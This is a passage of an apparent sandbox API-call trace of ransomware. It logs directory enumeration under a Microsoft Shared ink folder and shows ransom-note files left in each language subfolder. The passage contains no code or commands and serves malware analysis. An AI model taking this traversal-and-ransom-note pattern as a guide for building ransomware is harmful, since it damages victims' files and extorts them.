ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0070.908] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="..", cAlternateFileName="")) returned 1 [0070.908] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79ef4e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.908] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79ef4e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.908] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79ef4e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.908] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0070.908] AreFileApisANSI () returned 1 [0070.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0070.909] AreFileApisANSI () returned 1 [0070.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0070.909] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0070.909] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0070.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0070.911] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0070.911] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0070.911] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0070.911] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0070.912] CloseHandle (hObject=0x198) returned 1 [0070.912] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0070.912] AreFileApisANSI () returned 1 [0070.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.913] GetFileType (hFile=0x198) returned 0x1 [0070.914] AreFileApisANSI () returned 1 [0070.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.915] AreFileApisANSI () returned 1 [0070.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.918] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.918] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="..", cAlternateFileName="")) returned 1 [0070.918] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a15640, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.918] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a15640, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.918] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a15640, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.919] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0070.919] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0070.919] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0070.919] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0070.919] AreFileApisANSI () returned 1 [0070.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.919] GetFileType (hFile=0x198) returned 0x1 [0070.920] AreFileApisANSI () returned 1 [0070.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.921] AreFileApisANSI () returned 1 [0070.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.923] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.924] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="..", cAlternateFileName="")) returned 1 [0070.924] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a15640, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.924] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a15640, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.924] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a15640, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.924] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0070.924] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0070.924] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0070.924] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x2, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0070.924] AreFileApisANSI () returned 1 [0070.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0070.924] AreFileApisANSI () returned 1 [0070.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0070.925] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0070.925] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0070.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0070.925] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0070.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0070.925] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0070.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0070.925] CloseHandle (hObject=0x198) returned 1 [0070.925] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x8, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0070.925] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0070.925] AreFileApisANSI () returned 1 [0070.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.926] GetFileType (hFile=0x198) returned 0x1 [0070.926] AreFileApisANSI () returned 1 [0070.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.928] AreFileApisANSI () returned 1 [0070.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.930] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.931] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="..", cAlternateFileName="")) returned 1 [0070.931] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a15640, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a15640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.931] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.931] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a15640, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a15640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.931] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0070.931] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0070.931] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0070.931] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0070.931] AreFileApisANSI () returned 1 [0070.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.931] GetFileType (hFile=0x198) returned 0x1 [0070.932] AreFileApisANSI () returned 1 [0070.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.933] AreFileApisANSI () returned 1 [0070.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.936] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.936] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="..", 